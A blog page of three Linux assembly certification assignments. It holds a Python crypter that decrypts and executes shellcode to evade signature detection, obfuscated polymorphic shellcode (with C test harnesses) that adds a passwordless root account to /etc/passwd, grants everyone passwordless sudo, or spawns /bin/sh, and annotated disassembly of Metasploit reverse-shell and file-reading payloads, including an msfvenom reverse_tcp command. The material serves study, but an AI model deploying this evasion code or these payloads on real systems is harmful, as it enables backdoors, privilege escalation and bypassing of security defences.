February 29, 2020

SLAE - Assignment #7 - Custom crypter

The tasks for the seventh assignment are:

1. Create a custom crypter like the one shown in the “crypters” video
2. Free to use any existing encryption schema
3. Can use any programming language

   I decided to create python script with 3 input values: password, shellcode and action (encrypt/decrypt). As encryption algorithm I decided to use Salsa20(https://en.wikipedia.org/wiki/Salsa20). This stream cipher won European cryptoalgorithms competition. It is implemented in most languages in well audited libraries. 
   From cryptography point of view my implementation is far from perfect, having serious cryptographical flaw. However, the idea of the crypter is to bypass some signature based protections, not to encrypt data for secure long term storage. Also I will mention this flaw just to make the reader aware of it.

 Let's discuss key code functions:

1. I decided to use password and pass it to key derivation function. I chose pyscrypt python module (https://pypi.org/project/pyscrypt/). This module created key from password using scrypt KDF (https://en.wikipedia.org/wiki/Scrypt). It is a good alternative to known PBKDFv2.
Crypto problem: in my code I use fixed salt instead of randomized. If we use randomized salt we will have to distribute the full key for decryption. In our case we can just use the code with known passphrase.

2. Encryption and decryption functions are pretty straightforward from algorithm usage examples (https://pycryptodome.readthedocs.io/en/latest/src/cipher/salsa20.html). Please, note that nonce is not a secret value, so we can pass it together with encrypted text.

3. To launch my shellcode from python script I used ctypes. I found this blogpost and just followed it - http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html. In our case we just load shellcode in memory, knowing the size and address, mark our memory region executable (0x7) and run it.

Here is my code:

#!/usr/bin/env python2

from Crypto.Cipher import Salsa20
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
import sys
import binascii
import pyscrypt

def encrypt(text, secret):
    ciphertext = Salsa20.new(key=secret)
    msg= ciphertext.nonce + ciphertext.encrypt(text)
    print binascii.hexlify(msg)

def decrypt(text, secret):
   
    msg_nonce = text[:8]
    ciphertext = text[8:]
    cipher = Salsa20.new(key=secret, nonce=msg_nonce)
    plaintext = cipher.decrypt(ciphertext)
    print "Your decrypted shellcode is %s" %plaintext
    print "Launching shellcode..."
    execute(plaintext)
   
def execute(plaintext):

    libc = CDLL('libc.so.6')
    shellcode = plaintext.replace('\\x', '').decode('hex')
    sc = c_char_p(shellcode)
    size = len(shellcode)
    addr = c_void_p(libc.valloc(size))
    memmove(addr, sc, size)
    libc.mprotect(addr, size, 0x7)
    run = cast(addr, CFUNCTYPE(c_void_p))
    run()

action = sys.argv[3]
key = pyscrypt.hash(sys.argv[1], "vinegrep", 1024, 1, 1, 32)

if action == "encrypt":
    text = sys.argv[2]
    encrypt(text, key)
elif action == "decrypt":
    text = binascii.unhexlify(sys.argv[2])
    decrypt(text, key)
else:
    print("Allowed actions: encrypt, decrypt")

 I used execve shellcode to check my crypter:

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my GitHub repository - https://github.com/vinegrep/SLAE-exam

February 28, 2020

SLAE - Assignment #6 - Polymorphic shellcode

  
This time the task was the following:

1. Take up 3 shellcodes from Shell­‐Storm and create polymorphic versions of them to beat pattern matching.
2. The polymorphic versions cannot be larger 150% of the existing shellcode.
3. Bonus points for making it shorter in length than original

1. Add root user r00t with no password

   My first shell is from here - http://shell-storm.org/shellcode/files/shellcode-211.php. The limitation of this shellcode is that it has to be run as privileged user with level equal to root.

section .text

       global _start

  _start:

  ; open("/etc//passwd", O_WRONLY | O_APPEND)

       push byte 5
       pop eax
       xor ecx, ecx
       push ecx
       push 0x64777373
       push 0x61702f2f
       push 0x6374652f
       mov ebx, esp
       mov cx, 02001Q
       int 0x80

       mov ebx, eax

  ; write(ebx, "r00t::0:0:::", 12)

       push byte 4
       pop eax
       xor edx, edx
       push edx
       push 0x3a3a3a30
       push 0x3a303a3a
       push 0x74303072
       mov ecx, esp
       push byte 12
       pop edx
       int 0x80

  ; close(ebx)

       push byte 6
       pop eax
       int 0x80

  ; exit()

       push byte 1
       pop eax
       int 0x80


   After quick analysis I can see that detection can be done by system call numbers. User is adjustable, so it can hardly be used as detection pattern. I am going to hide file name (/etc/passwd) using known key and simple math. Also I changed instructions, but code is semantically the same. Polymorphic version is:

section .text

       global _start

  _start:

  ; open("/etc//passwd", O_WRONLY | O_APPEND)

       mov al, 5
       sub ecx, ecx
       push ecx
       mov ebx, 0x33333333
       mov edx, 0x31444040
       add edx, ebx
       push edx
       mov edx, 0x2e3cfbfc
       add edx, ebx
       push edx
       mov edx, 0x5047561c
       xor edx, ebx
       push edx
       mov ebx, esp
       mov cx, 02001Q
       int 0x80
       mov ebx, eax

  ; write(ebx, "r00t::0:0:::", 12)

       mov al, 4
       sub edx, edx
       push edx
       push 0x3a3a3a30
       push 0x3a303a3a
       push 0x74303072
       mov ecx, esp
       mov dl, 12
       int 0x80

  ; close(ebx)

       mov al, 6
       int 0x80

  ; exit()

       sub eax, eax
       inc eax
       int 0x80


   After compilation I got shell code size 79 bytes, original one was 69. I got increase around 27%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xb0\x05\x29\xc9\x51\xbb\x33\x33\x33\x33\xba\x40\x40\x44\x31\x01"
"
\xda\x52\xba\xfc\xfb\x3c\x2e\x01\xda\x52\xba\x1c\x56\x47\x50\x31"
"
\xda\x52\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\xb0\x04\x29\xd2"
"
\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74"
"
\x89\xe1\xb2\x0c\xcd\x80\xb0\x06\xcd\x80\x29\xc0\x40\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:


2. Anyone can run sudo without password

   My second shell is from here - http://shell-storm.org/shellcode/files/shellcode-62.php. Let's have a quick look at original shellcode. This will be pretty similar to first exercise, as obvious detections are file name, word NOPASSWD and system call numbers. This shell again requires high privileges to change content of /etc/sudoers file.


section .text
 global _start

_start:

 ;open("/etc/sudoers", O_WRONLY | O_APPEND);
 xor eax, eax
 push eax
        push 0x7372656f 
 push 0x6475732f
 push 0x6374652f 
 mov ebx, esp
 mov cx, 0x401
 mov al, 0x05
 int 0x80

 mov ebx, eax  

 ;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
 xor eax, eax
 push eax
 push 0x0a4c4c41
 push 0x203a4457
 push 0x53534150
 push 0x4f4e2029
 push 0x4c4c4128
 push 0x3d4c4c41
 push 0x204c4c41
 mov ecx, esp
 mov dl, 0x1c
 mov al, 0x04
 int 0x80

 ;close(file)
 mov al, 0x06
 int 0x80

 ;exit(0);
 xor ebx, ebx
 mov al, 0x01
 int 0x80

My polymorphic version is:

section .text
    global _start

_start:

    ;open("/etc/sudoers", O_WRONLY | O_APPEND);
    sub eax, eax
    push eax
    mov edi, 0x26082608
    mov esi, 0x4d6a3f67
    add esi, edi
    push esi
    mov esi, 0x8a7d9937
    sub esi, edi
    push esi
    mov esi, 0x457c4327
    xor esi, edi
    push esi
    mov ebx, esp
    mov cx, 0x401
    mov al, 0x05
    int 0x80

    mov ebx, eax 

    ;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
    sub eax, eax
    push eax
    push 0x0a4c4c41
    push 0x203a4457
    mov esi, 0x12341234
    mov edi, 0x41675364
    xor edi,esi
    push edi
    push 0x4f4e2029
    push 0x4c4c4128
    push 0x3d4c4c41
    push 0x204c4c41
    mov ecx, esp
    sub edx, edx
    mov dl, 0x1c
    inc eax
    inc eax
    inc eax
    inc eax
    int 0x80

    ; close(file)

    mov al, 6
    int 0x80

    ; exit(0)

    sub eax, eax
    inc eax
    int 0x80


   After compilation I got shell code size 111 bytes, original one was 86. I got increase around 29%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x29\xc0\x50\xbf\x08\x26\x08\x26\xbe\x67\x3f\x6a\x4d\x01\xfe\x56\xbe\x37"

"\x99\x7d\x8a\x29\xfe\x56\xbe\x27\x43\x7c\x45\x31\xfe\x56\x89\xe3\x66\xb9"
"\x01\x04\xb0\x05\xcd\x80\x89\xc3\x29\xc0\x50\x68\x41\x4c\x4c\x0a\x68\x57"
"\x44\x3a\x20\xbe\x34\x12\x34\x12\xbf\x64\x53\x67\x41\x31\xf7\x57\x68\x29"
"\x20\x4e\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41\x4c\x4c\x20"
"\x89\xe1\x29\xd2\xb2\x1c\x40\x40\x40\x40\xcd\x80\xb0\x06\xcd\x80\x29\xc0"
"\x40\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:


3. setreuid() shellcode

Third shellcode is from here - http://shell-storm.org/shellcode/files/shellcode-215.php. In this case I will try to rearrange instructions and hide /bin/sh using arithmetic operations as usual. Original shellcode:

section .text
        global _start

_start:

    mov al, 0x17
    xor ebx, ebx
    int 0x80
    mov al, 0xb
    cltd
    push edx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx,esp
    push edx
    push ebx
    mov ecx,esp
    int 0x80

 
My polymorphic version:

section .text
    global _start

_start:

    push 0x17
    pop eax
    int 0x80
    mov bl, 0x4
    mov cl, 0x7
    add ecx, ebx
    mov al, cl
    sub ecx, ecx
    push ecx
    mov edi, 0x26082608
    mov esi, 0x426b0927
    add esi, edi
    push esi
    mov esi,0x48614427
    xor esi, edi
    push esi
    mov ebx,esp
    push ecx
    push ebx
    mov ecx,esp
    int 0x80

   After compilation I got shell code size 45 bytes, original one was 38. I got increase around 18%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x6a\x17\x58\xcd\x80\xb3\x04\xb1\x07\x01\xd9\x88\xc8\x29\xc9\x51\xbf\x08"

"\x26\x08\x26\xbe\x27\x09\x6b\x42\x01\xfe\x56\xbe\x27\x44\x61\x48\x31\xfe"
"\x56\x89\xe3\x51\x53\x89\xe1\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

January 9, 2020

SLAE - Assignment #5 - MSF payload analysis

   Fifth task in exam was to generate 3 payloads from Metasploit for target Linux/x86 system and dissect their functionalities using specific tools: GDB, Ndisasm or Libemu

I chose the following 3 payloads:

  • linux/x86/meterpreter/reverse_tcp
  • linux/x86/shell_find_tag
  • linux/x86/read_file

1. Reverse shell


I generated it using msfvenom -p linux/x86/meterpreter/reverse_tcp -a x86 LHOST=192.168.13.59 LPORT=2608 -o rev.

Then I used disasm to have a look at the assembly listing (cat rev | ndisasm -u -). Some parts of the code are relatively easy for understanding, some are a bit vague. I divided the shellcode on 6 parts for easier analysis based on system calls. Below is code with comments.

# socketcall to run SYS_SOCKET

00000000  6A0A               push byte +0xa
00000002  5E                   pop esi
00000003  31DB               xor ebx,ebx
00000005  F7E3                mul ebx
00000007  53                    push ebx
00000008  43                    inc ebx
00000009  53                    push ebx
0000000A  6A02                push byte +0x2
0000000C  B066                mov al,0x66                    # socketcall
0000000E  89E1                 mov ecx,esp
00000010  CD80                 int 0x80

# socketcall to run SYS_CONNECT

00000012  97                xchg eax,edi
00000013  5B                pop ebx
00000014  68C0A80D3B        push dword 0x3b0da8c0  # IP address in big endian
00000019  6802000A30        push dword 0x300a0002  # port in big endian
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax
00000023  50                push eax
00000024  51                push ecx
00000025  57                push edi
00000026  89E1            mov ecx,esp
00000028  43                inc ebx             # SYS_CONNECT (EBX holds value 0x03)
00000029  CD80           int 0x80

# connection checks and nanosleep

0000002B  85C0              test eax,eax
0000002D  7919              jns 0x48           # we go to mprotect
0000002F  4E                   dec esi
00000030  743D              jz 0x6f               # if zero go to exit
00000032  68A2000000        push dword 0xa2
00000037  58                  pop eax              # syscall code for nanosleep
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5   # 5 seconds sleep
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80

# mprotect to mark region of memory rwx

00000042  85C0              test eax,eax              # test for successful connection
00000044  79BD              jns 0x3                           #attempt to reconnect
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7                     # marks memory rwx
0000004A  B900100000        mov ecx,0x1000      # length of memory region
0000004F  89E3                mov ebx,esp                # pointer to memory region
00000051  C1EB0C            shr ebx,byte 0xc 
00000054  C1E30C            shl ebx,byte 0xc     
00000057  B07D               mov al,0x7d                  #mprotect syscall
00000059  CD80               int 0x80

# read() from file descriptor into buffer 

0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f
0000005F  5B                  pop ebx          # descriptor
00000060  89E1              mov ecx,esp 
00000062  99                  cdq
00000063  B26A              mov dl,0x6a
00000065  B003              mov al,0x3      # read syscall
00000067  CD80              int 0x80

# exit syscall

00000069  85C0                  test eax,eax
0000006B  7802                   js 0x6f
0000006D  FFE1                   jmp ecx
0000006F  B801000000        mov eax,0x1   # exit
00000074  BB01000000        mov ebx,0x1 
00000079  CD80                    int 0x80


2. Find port


Second one I chose find port shellcode. After generation I used ndisasm again.
Here is the code below with my comments:

# socketcall

00000000  31DB           xor ebx,ebx
00000002  53                push ebx
00000003  89E7            mov edi,esp
00000005  6A10            push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1           mov ecx,esp
0000000C  B307           mov bl,0x7

0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                  pop eax                    # eax 0x66 
00000013  CD80              int 0x80
00000015  66817F02810D      cmp word [edi+0x2],0xd81  #compare to port 33037
0000001B  75F1              jnz 0xe             #iterate through port number in ecx

# dup2() when found

0000001D  5B                pop ebx
0000001E  6A02            push byte +0x2
00000020  59                pop ecx
00000021  B03F            mov al,0x3f
00000023  CD80            int 0x80

# execve, spawn a shell

00000025  49                dec ecx
00000026  79F9            jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f      # hs//
0000002E  682F62696E        push dword 0x6e69622f     #nib/
00000033  89E3            mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1            mov ecx,esp
00000039  99                cdq
0000003A  B00B            mov al,0xb        # execve system call number
0000003C  CD80            int 0x80


3. Read file


I generated shellcode by using msfvenom -p linux/x86/read_file PATH=/home/vinegrep/token -a x86 -o read.
I used disasm again. My analysis below:

# Start with classical jmp-call to get address of the file path in ebx and open it.

00000000  EB36                  jmp short 0x38
00000002  B805000000      mov eax,0x5         # SYS_OPEN
00000007  5B                      pop ebx              
00000008  31C9                  xor ecx,ecx           # RO flag
0000000A  CD80                 int 0x80

# Read file in our buffer

0000000C  89C3                  mov ebx,eax          # descriptor
0000000E  B803000000      mov eax,0x3          # SYS_READ
00000013  89E7                  mov edi,esp
00000015  89F9                  mov ecx,edi
00000017  BA00100000      mov edx,0x1000    # size of buffer 
0000001C  CD80                  int 0x80

# Write content from buffer to descriptor of out payload

0000001E  89C2                    mov edx,eax         # size of ourread
00000020  B804000000        mov eax,0x4         # SYS_WRITE
00000025  BB01000000        mov ebx,0x1        # FD
0000002A  CD80                   int 0x80

#  Exit

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80                    int 0x80

# path to file

00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                       das                                    # /
0000003E  686F6D652F       push dword 0x2f656d6f    # home/
00000043  7669                   jna 0xae                            # vi
00000045  6E                       outsb                                 # n
00000046  65677265           gs jc 0xaf                           # egre
0000004A  702F                   jo 0x7b                              # p/
0000004C  746F                   jz 0xbd                              # to
0000004E  6B656E00          imul esp,[ebp+0x6e],byte +0x0     # ken and NULL byte

Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam